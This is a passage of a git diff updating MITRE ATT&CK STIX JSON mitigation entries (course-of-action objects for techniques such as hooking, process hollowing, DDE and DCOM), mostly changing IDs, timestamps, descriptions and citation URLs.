+                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works"
+                },
+                {
+                    "source_name": "Microsoft DLL Security",
+                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf.json b/enterprise-attack/course-of-action/course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf.json
new file mode 100644
index 0000000000..aaf0dce3b2
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf.json
@@ -0,0 +1,23 @@
+{
+    "type": "bundle",
+    "id": "bundle--d1ebf189-88e1-454e-9cc1-f8dc9147c186",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Hooking Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1179",
+                    "external_id": "T1179"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95.json b/enterprise-attack/course-of-action/course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95.json
index 546eb6290e..847270493c 100644
--- a/enterprise-attack/course-of-action/course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95.json
+++ b/enterprise-attack/course-of-action/course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--0b7d0a48-bb8c-4f18-bcf4-0c295274716f",
+    "id": "bundle--4ee36906-5b59-4447-a2c7-8748577b4217",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Commonly Used Port Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43.json b/enterprise-attack/course-of-action/course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43.json
index a233902164..5ccb3f723d 100644
--- a/enterprise-attack/course-of-action/course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43.json
+++ b/enterprise-attack/course-of-action/course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--5d86194c-0464-4993-ab1e-54776583589b",
+    "id": "bundle--bf2f084b-b5c8-4d1d-b3ae-b0cec2cdd7bc",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Hollowing Mitigation",
-            "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd.json b/enterprise-attack/course-of-action/course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd.json
index af02a10cec..102d8ecb2d 100644
--- a/enterprise-attack/course-of-action/course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd.json
+++ b/enterprise-attack/course-of-action/course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--27d3a97d-7169-41b2-8bea-a6d38a7d0cb2",
+    "id": "bundle--9d6abd8f-b6d4-4d0a-8364-0c739f0a01e9",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Local System Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a.json b/enterprise-attack/course-of-action/course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a.json
index 249ce74a11..ef69a4bb59 100644
--- a/enterprise-attack/course-of-action/course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a.json
+++ b/enterprise-attack/course-of-action/course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--888e5358-484d-4e01-ad31-b0e82fa36964",
+    "id": "bundle--124355b4-bc48-4c97-ac08-f8a2d9e981e0",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trap Mitigation",
             "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74.json b/enterprise-attack/course-of-action/course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74.json
new file mode 100644
index 0000000000..71575bf2e0
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--397e7272-25c7-48d2-a7af-846901365651",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Dynamic Data Exchange Mitigation",
+            "description": "Ensure Protected View is enabled. (Citation: Microsoft Protected View)\n\nRegistry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1173",
+                    "external_id": "T1173"
+                },
+                {
+                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
+                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
+                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
+                },
+                {
+                    "source_name": "Microsoft Protected View",
+                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
+                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
+                },
+                {
+                    "source_name": "Microsoft DDE Advisory Nov 2017",
+                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
+                    "url": "https://technet.microsoft.com/library/security/4053440"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0.json b/enterprise-attack/course-of-action/course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0.json
index 1f38cfd272..bc26251e95 100644
--- a/enterprise-attack/course-of-action/course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0.json
+++ b/enterprise-attack/course-of-action/course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0.json
@@ -1,27 +1,22 @@
 {
     "type": "bundle",
-    "id": "bundle--81f73fda-016d-4d86-ae88-60f426201bd5",
+    "id": "bundle--8a752ec5-73b5-4c92-9f83-dca9067c606b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trusted Developer Utilities Mitigation",
-            "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
+            "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1127",
                     "external_id": "T1127"
                 },
-                {
-                    "source_name": "Microsoft GitHub Device Guard CI Policies",
-                    "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.",
-                    "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md"
-                },
                 {
                     "source_name": "Exploit Monday Mitigate Device Guard Bypases",
                     "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.",
@@ -32,6 +27,11 @@
                     "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.",
                     "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules"
                 },
+                {
+                    "source_name": "Microsoft GitHub Device Guard CI Policies",
+                    "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.",
+                    "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md"
+                },
                 {
                     "source_name": "SubTee MSBuild",
                     "description": "[ Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016."
diff --git a/enterprise-attack/course-of-action/course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307.json b/enterprise-attack/course-of-action/course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307.json
index 60f06cd292..6b6efaafb0 100644
--- a/enterprise-attack/course-of-action/course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307.json
+++ b/enterprise-attack/course-of-action/course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f5e3b68e-bd14-45ce-8a03-d181f23db8d0",
+    "id": "bundle--cb8d450d-7404-4546-8b25-06fe2fc4558a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Time Discovery Mitigation",
             "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08.json b/enterprise-attack/course-of-action/course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08.json
index 322ac29527..ecea6be6b1 100644
--- a/enterprise-attack/course-of-action/course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08.json
+++ b/enterprise-attack/course-of-action/course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--01d310f8-a941-4576-b908-bdf8628c1f27",
+    "id": "bundle--ccebe779-729e-4087-99a6-1ab9f2d79140",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Code Signing Mitigation",
             "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
             "external_references": [
@@ -20,7 +20,7 @@
                 {
                     "source_name": "Securelist Digital Certificates",
                     "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
-                    "url": "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/"
+                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
diff --git a/enterprise-attack/course-of-action/course-of-action--84d633a4-dd93-40ca-8510-40238c021931.json b/enterprise-attack/course-of-action/course-of-action--84d633a4-dd93-40ca-8510-40238c021931.json
index 7d7e21543a..153a365597 100644
--- a/enterprise-attack/course-of-action/course-of-action--84d633a4-dd93-40ca-8510-40238c021931.json
+++ b/enterprise-attack/course-of-action/course-of-action--84d633a4-dd93-40ca-8510-40238c021931.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--3fec2ccc-a0a2-41b4-bdb7-8a0971063d53",
+    "id": "bundle--d3206103-ad4a-4e51-a35e-1f65eb7d290c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Files and Directories Mitigation",
             "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df.json b/enterprise-attack/course-of-action/course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df.json
index d81637d393..5fb722ea09 100644
--- a/enterprise-attack/course-of-action/course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df.json
+++ b/enterprise-attack/course-of-action/course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--42e51149-be99-4f21-9df2-14fdf779dba1",
+    "id": "bundle--6dc871f0-e5f0-4713-a9da-60d1301a3cd9",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Prompt Mitigation",
             "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a.json b/enterprise-attack/course-of-action/course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a.json
index 4fb26e386d..30439507b6 100644
--- a/enterprise-attack/course-of-action/course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a.json
+++ b/enterprise-attack/course-of-action/course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--7b15b8a7-0c1b-495a-acce-9c0491863fab",
+    "id": "bundle--56d5bdc2-264f-4e8c-8e32-c16fa3c495a7",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Registry Run Keys / Start Folder Mitigation",
             "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152.json b/enterprise-attack/course-of-action/course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152.json
index 57e905bec4..2d38cc2bab 100644
--- a/enterprise-attack/course-of-action/course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152.json
+++ b/enterprise-attack/course-of-action/course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--748d02c6-43c0-472c-859f-526f1392cee0",
+    "id": "bundle--64b6c8e9-7479-4b9d-a916-14bcca17bc0a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Collection Mitigation",
             "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae.json b/enterprise-attack/course-of-action/course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae.json
index 66c941c879..c97bd56a09 100644
--- a/enterprise-attack/course-of-action/course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae.json
+++ b/enterprise-attack/course-of-action/course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--794b2ea3-006c-48dd-8535-e884ffb41e3d",
+    "id": "bundle--0c5a520d-fea9-45c2-9dcb-609c33889243",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rundll32 Mitigation",
             "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea.json b/enterprise-attack/course-of-action/course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea.json
index a427edbc99..9c79743b4b 100644
--- a/enterprise-attack/course-of-action/course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea.json
+++ b/enterprise-attack/course-of-action/course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--9a6c1c0e-9a6e-4e74-a99e-e1968c39f62e",
+    "id": "bundle--68e5f9e6-8139-48b8-9729-6e97307c8e16",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Office Application Startup Mitigation",
             "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da.json b/enterprise-attack/course-of-action/course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da.json
index c6fee092ac..521c8dabbc 100644
--- a/enterprise-attack/course-of-action/course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da.json
+++ b/enterprise-attack/course-of-action/course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--33f61c45-8660-4b04-8b26-7158ba029607",
+    "id": "bundle--68aa3615-6ac6-45e5-9f0e-6a90326e8d6b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Logical Offsets Mitigation",
             "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--910482b1-6749-4934-abcb-3e34d58294fc.json b/enterprise-attack/course-of-action/course-of-action--910482b1-6749-4934-abcb-3e34d58294fc.json
new file mode 100644
index 0000000000..1425a31a44
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--910482b1-6749-4934-abcb-3e34d58294fc.json
@@ -0,0 +1,48 @@
+{
+    "type": "bundle",
+    "id": "bundle--9a363861-3406-421a-9bed-f97b390ea7b8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Distributed Component Object Model Mitigation",
+            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1175",
+                    "external_id": "T1175"
+                },
+                {
+                    "source_name": "Microsoft COM",
